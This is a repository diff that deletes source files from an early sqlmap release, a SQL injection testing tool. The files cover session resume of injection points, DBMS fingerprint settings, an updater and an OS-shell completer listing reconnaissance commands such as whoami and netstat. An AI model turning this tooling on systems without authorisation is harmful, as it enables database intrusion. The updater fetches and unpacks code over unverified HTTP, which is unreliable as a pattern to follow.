sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Based on IPython readline library (IPython/rlineimpl.py), imports and
provides the "correct" version of readline for the platform.
In addition to normal readline stuff, this module provides haveReadline
boolean and _outputfile variable used in genutils.
"""
import sys
from lib.core.data import logger
try:
from readline import *
import readline as _rl
haveReadline = True
except ImportError:
try:
from pyreadline import *
import pyreadline as _rl
haveReadline = True
except ImportError:
haveReadline = False
if sys.platform == 'win32' and haveReadline:
try:
_outputfile=_rl.GetOutputFile()
except AttributeError:
debugMsg = "Failed GetOutputFile when using platform's "
debugMsg += "readline library"
logger.debug(debugMsg)
haveReadline = False
# Test to see if libedit is being used instead of GNU readline.
# Thanks to Boyd Waters for this patch.
uses_libedit = False
if sys.platform == 'darwin' and haveReadline:
import commands
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
if status == 0 and len(result) > 0:
# We are bound to libedit - new in Leopard
_rl.parse_and_bind("bind ^I rl_complete")
debugMsg = "Leopard libedit detected when using platform's "
debugMsg += "readline library"
logger.debug(debugMsg)
uses_libedit = True
# the clear_history() function was only introduced in Python 2.4 and is
# actually optional in the readline API, so we must explicitly check for its
# existence. Some known platforms actually don't have it. This thread:
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
# has the original discussion.
if haveReadline:
try:
_rl.clear_history
except AttributeError:
def clear_history():
pass
_rl.clear_history = clear_history
-315
View File
@@ -1,315 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import dataToSessionFile
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
def setString():
"""
Save string to match in session file.
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("String") )
)
if condition:
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp():
"""
Save regular expression to match in session file.
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Regular expression") )
)
if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setInjection():
"""
Save information retrieved about injection place and parameter in the
session file.
"""
if kb.injPlace == "User-Agent":
kb.injParameter = conf.agent
condition = (
kb.injPlace and kb.injParameter and ( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Injection point")
or not kb.resumedQueries[conf.url].has_key("Injection parameter")
or not kb.resumedQueries[conf.url].has_key("Injection type")
) ) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace))
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
def setParenthesis(parenthesisCount):
"""
@param parenthesisCount: number of parenthesis to be set into the
knowledge base as fingerprint.
@type parenthesisCount: C{int}
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Parenthesis") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount))
kb.parenthesis = parenthesisCount
def setDbms(dbms):
"""
@param dbms: database management system to be set into the knowledge
base as fingerprint.
@type dbms: C{str}
"""
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("DBMS") )
)
if condition:
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
kb.dbms = dbms
logger.info("the back-end DBMS is %s" % kb.dbms)
def setUnion(comment=None, count=None, position=None):
"""
@param comment: union comment to save in session file
@type comment: C{str}
@param count: union count to save in session file
@type count: C{str}
@param position: union position to save in session file
@type position: C{str}
"""
if comment and count:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union comment")
or not kb.resumedQueries[conf.url].has_key("Union count")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment))
dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count))
kb.unionComment = comment
kb.unionCount = count
elif position:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union position")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
kb.unionPosition = position
def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url:
string = value[:-1]
logMsg = "resuming string match '%s' from session file" % string
logger.info(logMsg)
if string and ( not conf.string or string != conf.string ):
if not conf.string:
message = "you did not provide any string to match. "
else:
message = "The string you provided does not match "
message += "the resumed string. "
message += "Do you want to use the resumed string "
message += "to be matched in page when the query "
message += "is valid? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
conf.string = string
elif expression == "Regular expression" and url == conf.url:
regexp = value[:-1]
logMsg = "resuming regular expression match '%s' from session file" % regexp
logger.info(logMsg)
if regexp and ( not conf.regexp or regexp != conf.regexp ):
if not conf.regexp:
message = "you did not provide any regular expression "
message += "to match. "
else:
message = "The regular expression you provided does not "
message += "match the resumed regular expression. "
message += "Do you want to use the resumed regular expression "
message += "to be matched in page when the query "
message += "is valid? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
conf.regexp = regexp
elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1]
logMsg = "resuming injection point '%s' from session file" % injPlace
logger.info(logMsg)
if not conf.paramDict.has_key(injPlace):
warnMsg = "none of the parameters you provided "
warnMsg += "matches the resumable injection point. "
warnMsg += "sqlmap is going to reidentify the "
warnMsg += "injectable point"
logger.warn(warnMsg)
else:
kb.injPlace = injPlace
elif expression == "Injection parameter" and url == conf.url:
injParameter = value[:-1]
logMsg = "resuming injection parameter '%s' from session file" % injParameter
logger.info(logMsg)
condition = (
not conf.paramDict.has_key(kb.injPlace) or
not conf.paramDict[kb.injPlace].has_key(injParameter)
)
if condition:
warnMsg = "none of the parameters you provided "
warnMsg += "matches the resumable injection parameter. "
warnMsg += "sqlmap is going to reidentify the "
warnMsg += "injectable point"
logger.warn(warnMsg)
else:
kb.injParameter = injParameter
elif expression == "Injection type" and url == conf.url:
kb.injType = value[:-1]
logMsg = "resuming injection type '%s' from session file" % kb.injType
logger.info(logMsg)
elif expression == "Parenthesis" and url == conf.url:
kb.parenthesis = int(value[:-1])
logMsg = "resuming %d number of " % kb.parenthesis
logMsg += "parenthesis from session file"
logger.info(logMsg)
elif expression == "DBMS" and url == conf.url:
dbms = value[:-1]
logMsg = "resuming back-end DBMS '%s' " % dbms
logMsg += "from session file"
logger.info(logMsg)
dbms = dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms
message += "but from a past scan information on the target URL "
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
message += "Do you really want to force the back-end "
message += "DBMS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.dbms = dbms
else:
conf.dbms = dbms
elif expression == "Union comment" and url == conf.url:
kb.unionComment = value[:-1]
logMsg = "resuming union comment "
logMsg += "'%s' from session file" % kb.unionComment
logger.info(logMsg)
elif expression == "Union count" and url == conf.url:
kb.unionCount = int(value[:-1])
logMsg = "resuming union count "
logMsg += "%s from session file" % kb.unionCount
logger.info(logMsg)
elif expression == "Union position" and url == conf.url:
kb.unionPosition = int(value[:-1])
logMsg = "resuming union position "
logMsg += "%s from session file" % kb.unionPosition
logger.info(logMsg)
-114
View File
@@ -1,114 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import logging
import os
import sys
# sqlmap version and site
VERSION = "0.6.4"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
# sqlmap logger
logging.addLevelName(9, "TRAFFIC OUT")
logging.addLevelName(8, "TRAFFIC IN")
LOGGER = logging.getLogger("sqlmapLog")
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN)
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
# Url to update sqlmap from
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
# TODO: port to command line/configuration file options?
SECONDS = 5
RETRIES = 3
MATCH_RATIO = 0.9
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
" top ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL data definition": (
"create ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ", ),
"SQL data control": (
"grant ", ),
"SQL data execution": (
"exec ",
"execute ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}
-105
View File
@@ -1,105 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import atexit
import os
import rlcompleter
from lib.core import readlineng as readline
from lib.core.data import kb
from lib.core.data import paths
from lib.core.data import queries
def saveHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
readline.write_history_file(historyPath)
def loadHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
if os.path.exists(historyPath):
readline.read_history_file(historyPath)
def queriesForAutoCompletion():
autoComplQueries = {}
for _, query in queries[kb.dbms].items():
if isinstance(query, str) and len(query) > 1:
autoComplQuery = query
elif isinstance(query, dict) and "inband" in query:
autoComplQuery = query["inband"]["query"]
else:
continue
autoComplQueries[autoComplQuery] = None
return autoComplQueries
class CompleterNG(rlcompleter.Completer):
def global_matches(self, text):
"""
Compute matches when text is a simple name.
Return a list of all names currently defined in self.namespace
that match.
"""
matches = []
n = len(text)
for list in [ self.namespace ]:
for word in list:
if word[:n] == text:
matches.append(word)
return matches
def autoCompletion(sqlShell=False, osShell=False):
# First of all we check if the readline is available, by default
# it is not in Python default installation on Windows
if not readline.haveReadline:
return
if sqlShell:
completer = CompleterNG(queriesForAutoCompletion())
elif osShell:
# TODO: add more operating system commands; differentiate commands
# based on future operating system fingerprint
completer = CompleterNG({
"id": None, "ifconfig": None, "ls": None,
"netstat -natu": None, "pwd": None,
"uname": None, "whoami": None,
})
readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete")
loadHistory()
atexit.register(saveHistory)
-237
View File
@@ -1,237 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
import time
from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl
from lib.core.common import readInput
from lib.core.convert import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import resumeConfKb
def __setRequestParams():
"""
Check and set the parameters and perform checks on 'data' option for
HTTP method POST.
"""
__testableParameters = False
# Perform checks on GET parameters
if conf.parameters.has_key("GET") and conf.parameters["GET"]:
parameters = conf.parameters["GET"]
__paramDict = paramToDict("GET", parameters)
if __paramDict:
conf.paramDict["GET"] = __paramDict
__testableParameters = True
# Perform checks on POST parameters
if conf.method == "POST" and not conf.data:
errMsg = "HTTP POST method depends on HTTP data value to be posted"
raise sqlmapSyntaxException, errMsg
if conf.data:
urlDecodedData = urldecode(conf.data).replace("%", "%%")
conf.parameters["POST"] = urlDecodedData
__paramDict = paramToDict("POST", urlDecodedData)
if __paramDict:
conf.paramDict["POST"] = __paramDict
__testableParameters = True
# Perform checks on Cookie parameters
if conf.cookie:
# TODO: sure about decoding the cookie?
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
urlDecodedCookie = conf.cookie.replace("%", "%%")
conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
__testableParameters = True
# Perform checks on User-Agent header value
if conf.httpHeaders:
for httpHeader, headerValue in conf.httpHeaders:
if httpHeader == "User-Agent":
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%")
condition = not conf.testParameter
condition |= "User-Agent" in conf.testParameter
condition |= "user-agent" in conf.testParameter
condition |= "useragent" in conf.testParameter
condition |= "ua" in conf.testParameter
if condition:
conf.paramDict["User-Agent"] = { "User-Agent": headerValue }
__testableParameters = True
if not conf.parameters:
errMsg = "you did not provide any GET, POST and Cookie "
errMsg += "parameter, neither an User-Agent header"
raise sqlmapGenericException, errMsg
elif not __testableParameters:
errMsg = "all testable parameters you provided are not present "
errMsg += "within the GET, POST and Cookie parameters"
raise sqlmapGenericException, errMsg
def __setOutputResume():
"""
Check and set the output text file and the resume functionality.
"""
if conf.sessionFile and os.path.exists(conf.sessionFile):
readSessionFP = open(conf.sessionFile, "r")
lines = readSessionFP.readlines()
for line in lines:
if line.count("][") == 4:
line = line.split("][")
if len(line) != 5:
continue
url, _, _, expression, value = line
if not value:
continue
if url[0] == "[":
url = url[1:]
if value[-1] == "\n":
value = value[:-1]
if url != conf.url:
continue
if url not in kb.resumedQueries.keys():
kb.resumedQueries[url] = {}
kb.resumedQueries[url][expression] = value
resumeConfKb(expression, url, value)
if expression not in kb.resumedQueries[url].keys():
kb.resumedQueries[url][expression] = value
elif len(value) >= len(kb.resumedQueries[url][expression]):
kb.resumedQueries[url][expression] = value
readSessionFP.close()
if conf.sessionFile:
try:
conf.sessionFP = open(conf.sessionFile, "a")
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
except IOError:
errMsg = "unable to write on the session file specified"
raise sqlmapFilePathException, errMsg
def __createFilesDir():
"""
Create the file directory.
"""
if not conf.rFile:
return
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
if not os.path.isdir(conf.filePath):
os.makedirs(conf.filePath, 0755)
def __createDumpDir():
"""
Create the dump directory.
"""
if not conf.dumpTable and not conf.dumpAll:
return
conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname
if not os.path.isdir(conf.dumpPath):
os.makedirs(conf.dumpPath, 0755)
def initTargetEnv():
"""
Initialize target environment.
"""
if conf.multipleTargets:
conf.paramDict = {}
conf.parameters = {}
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
parseTargetUrl()
__setRequestParams()
__setOutputResume()
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()
-40
View File
@@ -1,40 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
class Unescaper:
def __init__(self):
self.__unescaper = None
def setUnescape(self, unescapeFunction):
self.__unescaper = unescapeFunction
def unescape(self, expression, quote=True):
return self.__unescaper(expression, quote=quote)
unescaper = Unescaper()
-340
View File
@@ -1,340 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import difflib
import os
import re
import shutil
import sys
import tempfile
import urlparse
import zipfile
from distutils.dir_util import mkpath
from xml.dom.minidom import Document
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapFilePathException
from lib.core.settings import MSSQL_VERSIONS_URL
from lib.core.settings import SQLMAP_VERSION_URL
from lib.core.settings import SQLMAP_SOURCE_URL
from lib.core.settings import VERSION
from lib.request.connect import Connect as Request
def __updateMSSQLXML():
infoMsg = "updating Microsoft SQL Server XML versions file"
logger.info(infoMsg)
try:
mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
except sqlmapConnectionException, _:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname
warnMsg += " check your Internet connection and retry"
logger.warn(warnMsg)
return
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
releasesCount = len(releases)
# Create the minidom document
doc = Document()
# Create the <root> base element
root = doc.createElement("root")
doc.appendChild(root)
for index in range(0, releasesCount):
release = releases[index]
# Skip Microsoft SQL Server 6.5 because the HTML
# table is in another format
if release == "6.5":
continue
# Create the <signatures> base element
signatures = doc.createElement("signatures")
signatures.setAttribute("release", release)
root.appendChild(signatures)
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
if index == releasesCount - 1:
stopIdx = len(mssqlVersionsHtmlString)
else:
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
for servicePack, version in servicepackVersion:
if servicePack.startswith(" "):
servicePack = servicePack[1:]
if "/" in servicePack:
servicePack = servicePack[:servicePack.index("/")]
if "(" in servicePack:
servicePack = servicePack[:servicePack.index("(")]
if "-" in servicePack:
servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")]
servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("<a href=\"http:", "")
if servicePack.endswith(" "):
servicePack = servicePack[:-1]
if servicePack and version:
# Create the main <card> element
signature = doc.createElement("signature")
signatures.appendChild(signature)
# Create a <version> element
versionElement = doc.createElement("version")
signature.appendChild(versionElement)
# Give the <version> elemenet some text
versionText = doc.createTextNode(version)
versionElement.appendChild(versionText)
# Create a <servicepack> element
servicepackElement = doc.createElement("servicepack")
signature.appendChild(servicepackElement)
# Give the <servicepack> elemenet some text
servicepackText = doc.createTextNode(servicePack)
servicepackElement.appendChild(servicepackText)
# Get the XML old file content to a local variable
mssqlXml = open(paths.MSSQL_XML, "r")
oldMssqlXml = mssqlXml.read()
oldMssqlXmlSignatures = oldMssqlXml.count("<signature>")
oldMssqlXmlList = oldMssqlXml.splitlines(1)
mssqlXml.close()
# Backup the XML old file
shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML)
# Save our newly created XML to the signatures file
mssqlXml = open(paths.MSSQL_XML, "w")
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
mssqlXml.close()
# Get the XML new file content to a local variable
mssqlXml = open(paths.MSSQL_XML, "r")
newMssqlXml = mssqlXml.read()
newMssqlXmlSignatures = newMssqlXml.count("<signature>")
newMssqlXmlList = newMssqlXml.splitlines(1)
mssqlXml.close()
# If the new XML versions file differs from the old one it probably
# means that we have got new Microsoft SQL Server versions
if oldMssqlXmlSignatures != newMssqlXmlSignatures:
infoMsg = "Microsoft SQL Server XML versions file updated successfully. "
if oldMssqlXmlSignatures < newMssqlXmlSignatures:
infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures)
infoMsg += "new signatures added since the last update"
# NOTE: This should never happen, in this rare case it might
# be that the Microsoft SQL Server versions database
# (MSSQL_VERSIONS_URL) changed its structure
else:
infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures)
infoMsg += "signatures removed since the last update"
logger.info(infoMsg)
message = "Do you want to see the differences? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
infoMsg = "Differences:"
logger.info(infoMsg)
# Compare the old XML file with the new one
diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
sys.stdout.writelines(diff)
else:
infoMsg = "no new Microsoft SQL Server versions since the "
infoMsg += "last update"
logger.info(infoMsg)
def __createFile(pathname, data):
mkpath(os.path.dirname(pathname))
fileFP = open(pathname, "wb")
fileFP.write(data)
fileFP.close()
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
# Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile)
else:
raise sqlmapFilePathException, "the downloaded file does not seem to be a ZIP file"
# Extract each file within the ZIP file in the temporary directory
for info in sqlmapZipFile.infolist():
if info.filename[-1] != '/':
data = sqlmapZipFile.read(info.filename)
__createFile(os.path.join(tempDir, info.filename), data)
def __updateSqlmap():
infoMsg = "updating sqlmap"
logger.info(infoMsg)
debugMsg = "checking if a new version is available"
logger.debug(debugMsg)
try:
sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
__sqlmapHostname = __sqlmapPath[1]
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
warnMsg += ", check your Internet connection and retry"
logger.warn(warnMsg)
return
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
errMsg = "sqlmap version is in a wrong syntax"
logger.errMsg(errMsg)
return
if sqlmapNewestVersion == VERSION:
infoMsg = "you are already running sqlmap latest stable version"
logger.info(infoMsg)
return
elif sqlmapNewestVersion > VERSION:
infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion
infoMsg += "Going to download it from the SourceForge File List page"
logger.info(infoMsg)
elif sqlmapNewestVersion < VERSION:
infoMsg = "you are running a version of sqlmap more updated than "
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
logger.info(infoMsg)
return
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
try:
sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
__sqlmapHostname = __sqlmapPath[1]
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
warnMsg += ", check your Internet connection and retry"
logger.warn(warnMsg)
return
debugMsg = 'saving the sqlmap compressed source to a ZIP file into '
debugMsg += 'the temporary directory and extract it'
logger.debug(debugMsg)
tempDir = tempfile.gettempdir()
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString)
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
# For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release
if '.svn' in root:
continue
cleanRoot = root.replace(tempDir, "")
